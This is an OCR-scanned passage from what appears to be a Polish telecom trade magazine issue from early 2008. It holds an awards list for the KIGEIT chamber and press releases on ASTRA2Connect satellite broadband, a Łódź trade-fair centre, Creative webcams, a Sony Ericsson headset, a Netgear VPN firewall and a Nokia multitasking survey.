wych Izby, jako jednemu z inicjatoréw zatozenia
Izby i cztonkowi wtadz statutowych Izby od | do IV
kadencji;

Bogdan Krajewski — za wiele inicjatyw i aktywnos$c¢
na forum lzby, w szczegoélnosci w sektorze infor-
matycznym oraz wieloletnig prace w organach sta-
tutowych Izby, jako jednemu z inicjatoréw zatozenia
Izby i cztonkowi wiadz statutowych Izby w I'i Il ka-
dencji;

Ryszard Koztowski — za wiele inicjatyw i aktyw-
nos¢ na forum Izby, w szczegolnosci w sektorze
aparatury kontrolno-pomiarowej oraz prace w orga-
nach statutowych Izby, jako jednemu z inicjatoréw
zatozenia Izby i czionkowi wtadz statutowych Izby
od | do Il kadenc;j;

Ryszard tada — za dtugoletnig wspotprace i wiele
nowych inicjatyw na forum Izby, w szczegdlnosci
wspieranie inwestycji w sektorze elektronicznym
i wprowadzanie systemoéw jakosci, jako jednemu
z inicjatoréw zatozenia Izby;

Zbigniew Niemczycki — za wiele inicjatyw i aktyw-
nos¢ na forum Izby, w szczegolnosci w sektorze
elektroniki konsumenckiej oraz prace w organach
statutowych Izby, jako jednemu z inicjatorow zatoze-
nia lzby i cztonkowi wtadz statutowych Izby w I i Il
kadencji;

Zdzistaw Nowak — za wiele inicjatyw i aktywnos$c¢
na forum lzby, w szczegolnosci w sektorze elektro-
niki konsumenckiej i sektorze telekomunikacyjnym,
jako jednemu z inicjatoréw zatozenia Izby;

Stanistaw Szuder - za dlugoletnia wspotprace
i wiele nowych inicjatyw na forum Izby, w szczegdl-
nosci w sektorze telekomunikacyjnym, jako jednemu
z inicjatoréw zatozenia Izby;

Jarostaw Tworég — za wiele inicjatyw i aktywnos¢
na forum Izby, w szczegoInosci wspdtprace ze $ro-
dowiskiem naukowym oraz wieloletnig prace w or-
ganach statutowych Izby, jako jednemu z inicjatoréw
zatozenia Izby i cztonkowi wtadz statutowych Izby
od Il kadencji;

Marek A. Wosko — za wiele inicjatyw i aktywnos$c
na forum Izby, wieloletnia prace w jej organach
statutowych oraz skuteczne reprezentowanie Izby
w zarzadzie EICTA, jako jednemu z inicjatorow
zatozenia Izby i cztonkowi wtadz statutowych Izby
od | kadenciji.

Kolejng uhonorowang grupg byly firmy czion-
kowskie, ktore zostaty wyrbéznione za szczegodine

wspotdziatanie w tworzeniu warunkéw rozwoju sek-
tora elektronicznego i telekomunikacyjnego w Pol-
sce oraz wspieranie inicjatyw gospodarczych lzby
w tym zakresie.

Oto ich petna lista:

Alcatel-Lucent Polska SA;

DGT sp. z 0.0,

ELZAB SA;

EXATEL SA;

Flextronics International Poland sp. z 0.0.;
GTS ENERGIS sp. z 0.0,;

Instytut £gcznosci;

Instytut Rynku Elektronicznego sp. z 0.0,;
Instytut Tele- i Radiotechniczny;

Jabil Assembly Poland sp. z 0.0;
JPMorgan Chase sp. z 0.0;

Kimball Electronics Poland sp. z 0.0;

LG Electronics Mlawa sp. z 0.0,;

MAW Telecom International SA;

MediaTel SA;

Multimedia Polska SA;

Netia SA;

Nokia Siemens Network sp. z 0.0.;

NXP Semiconductors Poland sp. z 0.0,;
P4 sp. z 0.0,

Philips Polska sp. z 0.0.;

TELE2 Polska sp. z 0.0.;

Telefonia Dialog SA,

TP EmiTel sp. z 0.0,

Unizeto Technologies SA;

® VECTOR sp. z 0.0.

Ostatnim wyr6znionym zostat prezes zarzadu lzby
Stefan Kaminski za wiele inicjatyw i aktywnosé na
forum Izby, w szczegolnosci skuteczne budowanie
pozycji KIGEIT w kontaktach z wtadzg ustawo-
dawczg i wykonawczg oraz wieloletnig prace w or-
ganach statutowych Izby. Zastugi prezesa przy-
pomnieli przewodniczacy rady Bogdan Rogala i wi-
ceprzewodniczgcy Marek A. Wosko.

W czesci nieoficjalnej wystapit znany pianista Wal-
demar Malicki. Gale zakonczyta uroczysta kolacja.

Partnerem gtdbwnym uroczystosci byta firma Multi-
media Polska SA, a partnerami wspierajgcymi ob-
chody 15-lecia KIGEIT byty: ELZAB SA, Jabil As-
sembly Poland sp. z o.0., JP Morgan Chase sp.
z 0.0., MEDIATEL SA, Netia SA, P4 sp. z 0.0., NXP
Semiconductors Poland sp. z o.0., Philips Polska
sp. z 0.0., TP EmiTel sp. z 0.0. oraz TPV Displays
Polska sp. z 0.0. Ze strony mediow uroczystosé
wspieraty: TV Biznes, TVP Warszawa, the Warsaw
Voice i Tygodnik Przeglad. B
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Pomys$ine wprowadzenie ustugi w siedmiu krajach europejskich

Ustuga ASTRA2CONNECT

SES ASTRA, spoétka nalezaca do SES (notowanej na gieldzie Euronext Paris

oraz w Luksemburgu: SESG), podpisata kolejne kontrakty na wdrazanie swojej

satelitarnej ustugi szerokopasmowej ASTRA2Connect rowniez we Francji i Wloszech.

Obecnie, tylko dziewie¢ miesiecy od wprowadzenia produktu w kwietniu 2007 r.,

SES ASTRA zawarfa umowy na jego dystrybucje w siedmiu krajach europejskich.

Przyszte zyski wynikajace z tych kontraktow siegajg kwoty 165 milionéw Euro,

przy ponad 200 000 terminali konsumenckich, ktére majg by¢ zainstalowane w ciggu trzech
do pieciu lat. SES ASTRA juz podpisata umowy na dystrybucje ASTRA2Connect w Niemczech,
Austrii, Szwajcarii, Irlandii i Polsce. Kolejne umowy w kilkunastu innych krajach europejskich

sq w trakcie negocjacji.

We Francji ustuga bedzie dostarczana klientom kon-
cowym pod markg ,Vivéole” przez dostawce ustug
komunikacyjnych Auvea Ingénierie — firme specjali-
zujgca sie w instalacjach inzynieryjnych oraz siecio-
wych, z siedzibg w Tuluzie. We Wioszech, ustuga
bedzie dystrybuowana przez dostawce ustug szero-
kopasmowych — Digitaria, przedstawiciela firm do-
starczajgcych ustugi sieciowe i satelitarne — Netdish
oraz Eurosatellite.

W zwigzku z powyzszymi sukcesami oraz dzigki
podpisaniu umowy z belgijskim dostawcg sprze-
tu komunikacyjnego — firmg Newtec, SES ASTRA
rozpoczeta produkcje terminali koncumenckich
ASTRA2Connect na duzg skale. Terminale konsu-
menckie produkowane przez Newtec otrzymaty nie-
dawno prestizowg nagrode Europejskiego Produktu
Innowacyjnego Frost & Sullivan.

ASTRA2Connect jest w pehni satelitarnym rozwigza-
niem szerokopasmowego dostepu, ktéry umozliwia
korzystanie z ustug typu dual- i triple-play, udostep-
nianym za posrednictwem sprzedawcéw hurtowych
oraz dostawcéw ustug internetowych. Ta innowa-
cyjna infrastruktura oferuje wysoce niezawodny,
zawsze dostepny, dwukierunkowy szerokopasmowy
dostep do internetu za statg optata. Sprzet uzytkow-
nika koncowego — modem i antena satelitarna — jest
niedrogi oraz dostarczany wraz z narzedziem umoz-
liwiajgcym przeprowadzenie instalacji we wlasnym
zakresie. ASTRA2Connect oferuje gospodarstwom
domowym w regionach pozbawionym naziemnej
tacznosci satelitarnej unikatowg mozliwo$¢ uzyska-
nia dostepu do ustug szerokopasmowych, takich jak
szybki internet i ustugi VolP.

tacznie, rynek docelowy dla satelitarnego szero-
kopasmowego produktu w Europie szacowany jest
na pie¢ do dziesieciu procent wszystkich euro-
pejskich gospodarstw domowych. SES ASTRA
obstuguje ten rynek za posrednictwem swoich sate-
litbw znajdujacych sie na pozycji 23.5 E, zapew-
niajgc tym samym pan-europejskie zasiegi dla
ustugi ASTRA2Connect. Flota satelitdw na pozycji
23.5 E bedzie w przysztosci wzbogacona o kolejne,
ktore zostang zamoéwione.

— Start ASTRA2Connect we Francji i Wtoszech,
jak rowniez zapoczagtkowanie produkcji terminali
ASTRAZ2Connect na duzg skale sq waznym krokiem
w pomysSinym wdrazaniu naszego innowacyjnego
satelitarnego szerokopasmowego produktu — powie-
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dziat Alexander Oudendijk, Chief Commercial Offi-
cer firmy SES ASTRA.

— Chcemy w petni wykorzystac nadarzajgcq sie spo-
sobnosc, aby za posrednictwem istniejgcych poje-
mnosci satelitarnych wprowadzi¢ na rynek konku-
rencyjny produkt z cenowo dostepnymi i tatwymi w
instalacji terminalami. Zakontraktowane przychody
oraz zadeklarowana liczba terminali udowadniajg
pomysiny start i potencjat rozwojowy ASTRA2Con-
nect. JesteSmy dumni z faktu, iz osiggnelismy tak
znaczgce wyniki juz w ciggu dziewieciu miesiecy od
startu ustugi. Dostepnos$c¢ duzych ilosci terminali
ASTRA2Connect oraz nasze plany dotyczgce za-
mawiania kolejnych satelitow bedg stanowity wspar-
cie dla dalszego rozwoju ASTRA2Connect na réz-
nych rynkach europejskich.

rodfo: SES-ASTRA; www.ses-astra.com
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telekomunikacja TARGI

t 6dzkie targopolis

Janusz Fornalik

MTL planuja budowe
nowoczesnego centrum
konferencyjno-targowego

Targi zwigzane sa historycznie z rynkiem — czyli centralnym
miejscem, skupiajacym mieszkancow i przybyszow.

t6dz z racji swojego pofozenia, wielokulturowych korzeni,
tradycji przemystowych i potencjatu intelektualnego

moze aspirowac do roli wspofczesnego rynku

w skali Polski i Europy.

By¢ moze identyfikacje i tozsamo$¢ todzi mozna by
wykreowa¢ wokét pojecia megarynku, ztozonego
z takich kompatybilnych i oryginalnych segmentow,
jak przeksztatcone EC-1, zrewitalizowane strefy
mieszkalne, Manufaktura czy tez tédzkie targo-
polis.

Od kilkunastu miesigcy obserwujemy w innych
oérodkach targowych prawdziwy boom inwestycyj-
ny: Poznan dysponuje juz 100.000 m? powierzchni
wystawienniczej, Kielce 30.000 m? i budujg kolejng
hale, nowoczesne obiekty uruchomiono w Gdan-
sku, Olsztynie, Krakowie. Najbardziej spektakular-
nymi przyktadami z tej dziedziny sg jednak po
pierwsze — SILESIA Expo w Chorzowie, gdzie wia-
Sciciel firmy Kolporter zainwestowat 100 min z
i w ciggu kilkunastu miesiecy uruchomiono nowo-
czesne centrum targowo-konferencyjne (docelowo
30.000 m?); po drugie — rozpoczeta budowa hali
o powierzchni 10.000 m? w Warszawie (za 20 min
euro). W efekcie za chwile powstang dwa potez-
ne wielofunkcyjne centra targowe w odlegtosci
150-200 km od naszego miasta.

Wspomniane inwestycje $wiadczg o rosngcym biz-
nesowym, a zwtaszcza promocyjnym znaczeniu tar-
gow. Podkresimy jedynie, ze w obiektach MTL orga-
nizowanych jest rocznie 12 targébw wiasnych (w tym
pie¢ najwiekszych imprez branzowych w Polsce)
i okoto 30 réznorodnych imprez zewnetrznych.

Mamy ambicje konkurowa¢ z najlepszymi o$rodka-
mi targowymi w oparciu o wykwalifikowany zespot
i wspomniany dorobek — blisko dwudziestoletnig tra-
dycje i wiele nowych projektéw imprez, pozytecz-
nych dla miasta i regionu. Barierg wzrostu jest
brak odpowiedniej infrastruktury targowej. W zwia-
zku z tym opracowalismy catosciowg koncepcje
zagospodarowania terendéw targowych i harmono-
gram niezbednych inwestycji.

Etap | to hala o powierzchni 8.000 m? z wielo-
funkcyjnym facznikiem (restauracja, sale konferen-
cyjne, biura organizacyjne, inne specjalistyczne po-
mieszczenia), wyceniona na 55 min zt. Obiekt ma
by¢ przede wszystkim funkcjonalny, ale takze powi-
nien stanowi¢ kolejny estetyczny i architektoniczny
wyroznik naszego miasta, wokot ktérego mozna by
realizowa¢ dewize MTL, tj. ,Przyjazne miejsce dla
fodzian”, z czasem réwnowazac obecng dominacje
Manufaktury w tym zakresie.

Wyréznikiem nowego centrum targowego bedzie
szeroko rozumiana ekologia, zarébwno poprzez reali-
zowane imprezy targowe — np. Salon Zrédet Energii
Odnawialnych, Targi Zdrowej Zywnosci, Festiwal
Zdrowia — jak i infrastrukture, np. solary, geotermia,
nowoczesne aranzacje roslinne, transport (ryksze,
meleksy). B
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Bezpieczniejsze i przyjemniejsze rozmowy internetowe

z kamerami CREATIVE

Kamery internetowe
Creative Live! Cam

Creative oferuje szeroki asortyment kamer internetowych przeznaczonych dla uzytkownikéw
w roznych grupach wiekowych. Od podstawowych modeli do zaawansowanych kamer
internetowych z bogatym zestawem funkcji i oprogramowaniem.

— Korzystanie z kamer internetowych to juz nie tylko
kwestia technologii — to sprawa stylu zycia — po-
wiedziat Eoin Leyden. — Dlatego tez wyszliSmy
poza role jedynie dostawcy rozwigzan technicz-
nych — stworzylismy witryne internetowg www.myli-
vecam.com (dostepng w jezyku angielskim) dla uzyt-
kownikéw kamer Creative. Tutaj, oprocz podstawo-
wych informacji — takich jak instrukcje obstugi ka-
mer, mozna zapoznac sie z najnowszymi poradami
i sztuczkami, dowiedzie¢ sie od ekspertow, jak na-
grywac wideoklipy, wykorzysta¢ kamere do zdalne-
go monitoringu, stworzy¢ fotokalendarz i skonfiguro-
wac ulubiony komunikator internetowy.

Wprowadzenie

Dzigki dostgpnosci telefonii internetowej, komunika-
toréw i innych ustug sieciowych, komunikowanie sie
z rodzing lub wspétpracownikami nigdy wczes$niej
nie byto tak fatwe. Analitycy sugeruja, ze global-
ny rynek szerokopasmowego internetu, ktory rosnie
w tempie 45 min uzytkownikbw rocznie, moze
osiggng¢ 368 min klientow w 2009 roku. Zdaniem
Creative, rozwdj ten bedzie wzmacniat popyt na ka-
mery internetowe w nadchodzgcych latach.

— Kamery internetowe, od momentu pojawienia sie
na rynku, umoZliwity ludziom komunikowanie sie
w Sposob, o ktorym wczedniej nawet nie myslano
— powiedziat Eoin Leyden, europejski menedzer
marki kamer internetowych Creative. — Dzi$ mozna
z fatwoscig rozmawiac ,twarzg w twarz”, nawet gdy
dzielg nas tysigce kilometrow, a mozliwo$c¢ ta jest
dostepna dla kazdego, kto ma kamere i potgczenie
z internetem. Firma Creative jest liderem w tej dzie-
dzinie, wprowadzita szereg innowacji technologicz-
nych, takich jak mikrofony z redukcjg szumow i pre-
cyzyjne obiektywy z systemem automatycznego
ustawiania ostrosci — Autofocus (AF).

Przydatne oprogramowanie z awatarami

Wybrane modele kamer Creative' posiadajg opro-
gramowanie udostepniajgce dynamiczne awatary,
dzieki ktorym rozmowy wideo nabierajg nowego wy-
miaru. Funkcja ta umozliwia uzytkownikom kreowa-
nie nowych wizerunkéw jednym kliknieciem myszki.
Oprécz zaawansowanych i zabawnych efektéw wi-
zualnych uzytkownicy mogg wprowadzac¢ réwniez
efekty dzwiekowe, co jest funkcjg nieczesto spoty-
kang w innych kamerach internetowych.

INFOTEL 1/2008

Robot
Voice

‘ ; . Chipmunk
— | — @Voce
. \ Kid’s

Your Voice « Voice

Standardowe awatary dostarczane z oprogramowa-
niem mozna uzupetni¢ o samodzielnie stworzone,
dzieki oprogramowaniu Live! Cam Avatar Creator.
Aplikacja ta umozliwia przechwycenie i animacje
kazdego zdjecia jako mowigcq postac. Tak stworzo-
nego awatara mozna eksportowa¢ do elektronicz-
nych kartek pocztowych lub wysta¢ jako klip wideo!

Kontrola rodzicielska

Bezpieczenstwo w internecie jest sprawg bardzo
istotng, dlatego Creative oferuje rodzicom sposoby
uzupetnienia nadzoru nad korzystaniem z internetu.
Aby chroni¢ mtodych uzytkownikéw internetu przed
niewtasciwymi rozmowami internetowymi, oprogra-
mowanie Creative Parental Control?> moze chronié
dostep do kamery hastem.

Przypisy

' Dostepne w modelach Live! Cam Optia Pro, Live! Cam Vi-
deo IM Pro, Live! Cam Notebook Ultra.

2 Dostepne w modelach Live! Cam Optia AF, Live! Cam Optia
Pro, Live! Cam Optia, Live! Cam Video IM Pro, Live! Cam Vi-
deo IM, Live! Cam Vista IM, Live! Cam Notebook Ultra, Live!
Cam Notebook Pro i Live! Cam Notebook.

rodto: INVENTIVE Communication
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Wysokiej jakosci zestaw stuchawkowy o kobiecym charakterze

Sony Ericsson
Bluetooth™ HBH-PV712

Style Edition

Lekki, wygodny, stylowy i posiadajacy wysokie parametry
techniczne kobiecy zestaw sfuchawkowy Sony Ericsson

Bluetooth™ HBH-PV71

2 Style Edition — kazda kobieta

powinna mie¢ go w swaojej torebce.
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Przetadowane torebki, proby odnalezienia dzwo-
nigcego w nich telefonu oraz wyscig z czasem — to
typowe trudnosci w dzisiejszym Swiecie, w ktérym
tempo zycia jest tak szybkie. Dlatego tez Sony Eric-
sson opracowat stylowe i tatwe w obstudze akceso-
rium, ktore Swietnie wyglgda i pomaga efektywnie
organizowac to aktywne zycie — zestaw stuchawko-
wy Bluetooth™ HBH-PV712 Style Edition.

Ten zestaw stuchawkowy, zaprojektowany specjal-
nie dla nowoczesnej kobiety, tgczy w sobie jakos¢,
funkcjonalno$¢ i styl. Bluetooth™ HBH-PV712 Style
Edition to najnowsze narzedzie, ktére sprawi, ze
dzien gwiazdy tenisa, kobiety prowadzacej firme czy
miodej mamy uptynie cho¢ troche spokojniej.

Niewatpliwie nowy zestaw stuchawkowy Bluetooth™
HBH-PV712 Style Edition bedzie mitym wytchnie-
niem dla aktywnych, wrazliwych na mode kobiet na
catym Swiecie. Zestaw ten jest owocem prowadzo-
nych przez zespo6t Sony Ericsson wnikliwych ba-
dan, ktére miaty na celu ujawnienie, czego doktad-
nie pragnie aktywna, nowoczesna kobieta: fatwego
w obstudze zestawu stuchawkowego Bluetooth™,
ktory wyglada Swietnie, miesci sie w torebce i nieza-
wodnie dziata. Podczas projektowania brano caty
czas pod uwage kobiety i uwzgledniano wazne dla
nich aspekty — poczawszy od udostepnienia znacz-
nej ilosci czasu rozmowy, poprzez zastosowanie
technologii przyjaznej dla uzytkownika, a skofnczyw-
szy na umieszczeniu wygodnego, zawijanego
uchwytu na ucho, ktory sprawia, ze tatwo korzysta
sie ze stuchawki nawet przy dtugich wtosach.

Wysokiej jakosci zestaw stuchawkowy Bluetooth™
HBH-PV712, w ktérym zastosowano technologie
wzmacniania dzwieku, w tym Digital Signal Proces-
sing (SP) oraz Fast Automatic Volume Adjustment,
zapewnia krysztatowg czystos¢ dzwieku gdziekol-
wiek sie znajdziesz, podczas gdy trzy stylowe akce-
soria sprawiajg, ze wygladasz zawsze doskonale
— zaréwno na korcie tenisowym, jak i na parkiecie.

® Trzy stylowe obudowy Style-up™, zaprojekto-
wane tak, by mozna je bylo zdejmowa¢ jednym
ruchem, pozwalajg na szybkg ich zmiane w za-
leznosci od Twojego nastroju oraz ubrania. Wy-
bierz sposréd nastepujgcych wariantow obudo-
wy: czerwona ze srebrnymi akcentami, czarna ze
srebrnymi, fioletowymi i czerwonymi akcentami,
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oraz obudowa w kolorze ,purple plated” — o fiole-
towym, metalicznym potysku.

® Oryginalna smycz do noszenia zestawu, po-
srebrzana i udekorowana czerwonymi, srebrnymi
i czarnymi peretkami, zostata zaprojektowana tak,
aby pasowa¢ do kazdej obudowy Style-up™. Po-
siada funkcje szybkiego odpinania dla potrzeb
rozmow przychodzacych i mozna jg dostosowy-
wac do stroju. Dtugos¢ smyczy mozesz takze do-
pasowac¢ do Twojego stroju, zgodnie z najnowszym
trendem noszenia zestawu w trybie czuwania.

® Stylowa sakiewka, stanowigca wyrafinowane
akcesorium do noszenia zestawu, z motywem
kot oraz czerwong siateczkg. W sam raz na Twdj
telefon i zestaw, a jednoczesnie wystarczajgco
niewielka, aby zmie$ci¢ sie w Twojej torebce.

Sophie Herschtel-Keldsen, Product Business Mana-
ger ds. stuchawek bezprzewodowych Bluetooth™
HBH-PV712 Style Edition powiedziata: Odbieranie
telefonéw w sposoéb bezprzewodowy to przyszto$¢
— zaréwno w domu, w pracy, jak i gdziekolwiek sie
poruszamy. Niezawodny, tatwy w uZyciu i wygodny
zestaw stuchawkowy Bluetooth™ HBH-PV712 Sty-
le Edition podgza Sladem sukcesu zestawu Blue-
tooth™ PV705 Style Edition. Rozumiemy potrzeby
dzisiejszych kobiet i stale pracujemy nad rozwojem
nowych i ekscytujgcych produktéw, ktére sq atrak-
cyjne, modne i tatwe w obstudze.

Zestaw stuchawkowy Bluetooth™ HBH-PV712 Style
Edition jest owocem wieloletnich doswiadczen i ba-
dan Sony Ericsson w zakresie technologii Blue-
tooth™ oraz wzornictwa. Bedzie dostepny na catym
Swiecie w lutym 2008 roku. B

rédfo: Sony Ericsson
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telekomunikacja

Rozwiazanie sieciowe dla matych i srednich przedsiebiorstw

NETGEAR®

ProSafe FVS336G

Firma NETGEAR®, Inc. zaprezentowata NETGEAR® ProSafe Dual
WAN Gigabit SSL VPN Firewall (FVS336G) — wszechstronna,
funkcjonalng zapore zapewniajaca bezpieczenstwo sieci

oraz zdalny i niezawodny dostep do internetu. Nowy model
przeznaczony jest dla malych i Srednich przedsiebiorstw.
Obstuguje do 25 tuneli IPsec i 10 tuneli SSL VPN, oferujac
bezpieczne potgczenia dwustronne, zdalny dostep

lub funkcje telepracy, nie wymagajac

oprogramowania klienckiego VPN.
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— Zespoly testowe miaty okazje w petni wyko-
rzystac funkcje i mozliwosci FVS336G — powie-
dziat Wojciech Karwowski, country manager
NETGEAR Poland. — Jestesmy przekonani, ze
funkcjonalnos¢ i wszechstronnos$¢ urzgdzenia
sprawi, ze znajdzie ono w Polsce wielu nabyw-
cow.

ProSafe Dual WAN Gigabit SSL VPN Firewall
(FVS336G) wyposazono w zintegrowany, czte-
roportowy przetgcznik 10/100/1000 Mb/s umozli-
wiajacy szybkg prace sieci i zarzadzanie przez
SNMP. Urzadzenie zawiera rowniez dwa porty
Gigabit WAN obstugujgce podwojne potgcze-
nia szerokopasmowe z funkcjg réwnowazenia
obcigzenia i przejmowania ruchu w przypadku
awarii, co zwigksza przepustowos¢ i niezawod-
nos¢ firmowego potgczenia z internetem.

Obstuga tuneli VPN IPsec i SSL zapewnia zdalny
dostep bez oprogramowania klienckiego, za po-
Srednictwem bezpiecznego pofaczenia przez
przegladarke. Urzadzenie umozliwia réowniez do-
step za pomocg oprogramowania klienckiego
starszej generacji. Ponadto tunele IPSec VPN
umozliwiajg ptynne otwieranie bezpiecznych tu-

neli VPN pomiedzy réznymi lokalizacjami, np. od-
dziatami terenowymi firmy.

ProSafe Dual WAN Gigabit SSL VPN Firewall
jest w petni funkcjonalng zaporg z licznymi
zabezpieczeniami: ochrong przed atakami DoS,
petng inspekcjag pakietéw (SPI), filtrowaniem stéw
kluczowych w URL, logowaniem, raportowaniem
i ostrzezeniami w czasie rzeczywistym.

ProSafe Dual WAN Gigabit SSL VPN Firewall
(FVS336G) oferowany jest z bezterminowg gwa-
rancjg sprzetowg. Dostarczany jest z wygodnym
w obstudze ekranem konfiguracyjnym NETGEAR
ProSafe Control Center i asystentem instalaciji,
skracajgcym czas przygotowania urzadzenia do
pracy.

— FVS336G jest fatwy do zainstalowania, lecz
pozwala réwniez bardziej zaawansowanemu ad-
ministratorowi skonfigurowac urzgdzenie wedtug
wtasnych potrzeb — wyjasnia Tim Middleton,
specjalista ds. rozwigzan.

— Funkcje Transport Layer Security to doskonaty
dodatek do tradycyjnej funkcjonalnos$ci zapdr
i routerow ProSafe, ktéry umozliwia menedzerom
IT elastyczne dostosowywanie Srodowiska pracy
pracownikéw mobilnych lub pracujgcych w domu,
bez potrzeby instalowania dodatkowych urzg-
dzen. Jestem pod wrazeniem wydajnoSci i stabil-
nosci FVS336G. Parametry potaczen z interne-
tem i sieci LAN sprostaty moim oczekiwaniom.
W dalszym ciggu pozytywnie oceniam 0godlng
funkcjonalnos$c sieciowego interfejsu uzytkow-
nika.

— Nowa zapora ProSafe Dual WAN Gigabit SSL
VPN Firewall to idealny produkt dla matych
i Srednich przedsiebiorstw poszukujgcych roz-
wigzania sieciowego zapewniajgcego wysokg
wydajnos$c, solidne zabezpieczenia i tatwy, bez-
pieczny dostep dla uzytkownikéw zdalnych oraz
potgczen sieciowych pomiedzy lokalizacjami
— wyjasnia Wojciech Karwowski.

— Wszechstronna zapora daje zdalnym uzytkow-
nikom dostep do danych korporacyjnych bez
uzycia oprogramowania klienckiego, za pomocg
standardowej przegladarki internetowej, a tune-
le VPN IPsec mogq jednoczesnie otwierac bez-
pieczne potgczenia pomiedzy lokalizacjami,
z obstugg starszych rozwigzan klient-serwer. Zin-
tegrowany czteroportowy przetgcznik klasy Giga-
bit i dwa gigabitowe porty WAN gwarantujg opty-
malng wydajnosc i niezawodno$¢ sieci. ProSafe
Dual WAN Gigabit SSL VPN Firewall to jedna
z najbardziej wszechstronnych, niezawodnych
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i bezpiecznych zapér dla maftych i Srednich
przedsiebiorstw.

NETGEAR ProSafe Dual WAN Gigabit SSL
VPN Firewall

NETGEAR ProSafe Dual WAN Gigabit SSL VPN
Firewall (FVS336G) to zapora klasy SPI i czte-
roportowy przetgcznik 10/100/1000 Mbps z dwo-
ma gigabitowymi portami WAN, z obstugg VPN
typu SSL i IPsec, stanowigcy wydajny i przystep-
ny cenowo element infrastruktury sieciowej dla
matych i srednich przedsigbiorstw.

Oprécz klienckiego dostepu zdalnego, realizowa-
nego poprzez maksimum 25 tuneli VPN IPsec,
FVS336G obstuguje jednoczesnie do 10 tuneli
VPN SSL, zapewniajgc zdalnym uzytkownikom
bezpieczny dostep do firmowej sieci poprzez
standardowg przeglgdarke internetowg. Tunele
VPN SSL zabezpieczane sg przez przemystowe
algorytmy szyfrowania i funkcje takie, jak auto-
matyczne czyszczenie pamieci podrecznej po
zakonczeniu sesji, co chroni przed naruszeniem
prywatnosci i nieupowaznionym dostepem do
wrazliwych danych.

FVS336G zawiera dwa gigabitowe porty Ethernet
WAN i moze obstugiwa¢ dwa szerokopasmowe

telekomunikacja

potgczenia internetowe w konfiguracji umozli-
wiajgcej rownowazenie obcigzenia lub przejmo-
wanie ruchu w razie awarii.

Konfiguracja rownowazgca obcigzenie umozliwia
maksymalng przepustowo$é wykorzystujgc oba
porty WAN do rownomiernego roztozenia ruchu
sieciowego na oba szerokopasmowe potgczenia.
Aby zwiekszy¢ niezawodnos¢ potgczenia inter-
netowego, drugi port WAN mozna skonfigurowaé
jako potgczenie zapasowe na wypadek awarii
potgczenia gtbwnego.

FVS336G jest fatwy w uzyciu i konfiguracji — po-
siada przyjazny uzytkownikowi ekran konfigu-
racyjny ProSafe Control Center i asystenta
utatwiajgcego konfiguracje.

Zapora jest kompatybilna z systemami operacyj-
nymi Windows®, UNIX®, Macintosh®, Linux®
i mozna nig zarzadzac¢ poprzez protok6t SNMP.

Zapora NETGEAR ProSafe Dual WAN Gigabit
SSL VPN Firewall (FVS336G) oferowana bedzie
w pierwszym kwartale 2008 roku z bezterminowg
gwarancjg przez wiodgce sklepy detaliczne, in-
ternetowe i sprzedawcéw VAR, w cenie katalogo-
wej 425 USD (+VAT). B

Zrodfo: Netgear
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Telefony komoérkowe pomagaja rownowazyé zycie zawodowe z towarzyskim

Kohiety

radza sobie lepiej...

Wykonywanie kilku zadan jednoczesnie stato sie elementem
codzienno$ci dla nas wszystkich. Uczestniczac w Zyciu
zawodowym, rodzinnym i towarzyskim, jesteSmy bardziej zajeci

niz kiedykolwiek przedtem. Z wynikéw ogoélnoswiatowego badania
przeprowadzonego online na calym swiecie przez firme Nokia
wynika jednak, ze z wieloma zadaniami naraz radzg sobie lepiej
kobiety niz mezczyzni — dotyczy to 60 proc. respondentéw obu pfci.
Tylko szes$c¢ procent kobiet uwaza, ze to mezczyzni lepiej wykonuja
wiecej zadan jednoczesnie.

Z ogoélnej liczby ponad 5000 respondentéw 79 proc.
uwaza, ze dobrze radzi sobie z kilkoma zadaniami
naraz, 50 proc. okresla siebie jako wydajnych, a 31
proc. jako zajetych. Wigkszo$¢ mezczyzn i kobiet
z Danii oraz Norwegii sadzi, ze potrafi robi¢ kilka
rzeczy naraz. Najbardziej zrelaksowani okazali sie
Finowie z wynikiem 74 proc.

Przewazajgca wiekszo$¢, bo az 80 proc. respon-
dentéw, uwaza, ze dzieki telefonom komérkowym
moze osiggna¢ pozadang rownowage pomiedzy
pracg a zyciem towarzyskim. 63 proc. responden-
téw uwaza, ze bez telefonu komérkowego ich wy-
dajnos¢ pogorszytaby sie, a 74 proc. sadzi, ze dzie-
ki telefonowi komoérkowemu lepiej sobie radzi z kil-
koma zadaniami naraz.

— Ludzie korzystaja z telefondw komodrkowych
w wiekszym stopniu niz kiedykolwiek przedtem
— powiedziat Dom Fried-Booth, dyrektor ds. badan
w dziale Devices firmy Nokia. — Poniewaz wspdfcze-
sne telefony komdrkowe zawierajq takie funkcje, jak
kalendarz, e-mail i wiadomo$ci tekstowe, ludzie uzy-
wajg ich nie tylko do nawigzywania potgczen. Po-
maga to niektérym utrzymac wiekszg wydajno$c
w pracy, a innym w lepszym prowadzeniu domu.
W kazdym przypadku jednak telefony komorkowe
zdecydowanie pomagajgq ludziom w realizacji Zycio-
wych celow.

Z badania wynika, ze telefony komérkowe poma-
gaja w uzyskaniu wiekszej wydajnosci. 62 proc. re-
spondentow wykonuje 2-3 czynnoéci podczas roz-
mowy przez telefon komérkowy, w tym przegladanie
stron internetowych czy robienie zakupow. 75 proc.
kobiet odpowiedziato, ze podczas korzystania z te-
lefonu komoérkowego przygotowuje positki, a 50
proc., ze robi makijaz.

Cho¢ wiekszo$¢ respondentdw twierdzi, ze podczas
korzystania z telefonu komoérkowego robi wiecej niz
jedng rzecz naraz, 48 proc. wskazato, ze rozmowa
odgrywa gtéwng role. Na pytanie o to, co najbardziej
lubig robi¢ podczas uzywania telefonu komorkowe-
go, respondenci w wigkszosci odpowiedzieli ,by¢
w tozku”, nie podajgc jednak szczegotow.

Wykonywanie kilku zadan podczas uzywania telefo-
nu komoérkowego moze prowadzi¢ do zabawnych
sytuacji. 47 proc. respondentéw badania firmy No-
kia wystato romantyczne lub kontrowersyjne SMS-y
do niewtasciwej osoby, przy czym przydarzyto sie to
56 proc. kobiet.

Badanie dotyczace wykonywania kilku zadan na-
raz zostato przeprowadzone online w witrynie no-
kia.com od 15 pazdziernika do 1 listopada 2007
przez llluminas w Wielkiej Brytanii, Hiszpanii, Fin-
landii, Wtoszech, Chinach, Brazylii, Niemczech, Da-
nii, Francji, USA, Szwecji i Norwegii.

Firma Nokia zorganizowata najbardziej wszech-
stronne badanie konsumenckie w branzy, opraco-
wujgc ponad 10 miliardébw danych z 77000 ankiet
konsumenckich w 21 krajach, co dato wyjatkowy
wglad w wartosci, przekonania i postawy konsu-
mentow. Ta wiedza wyznacza dziatania firmy Nokia:
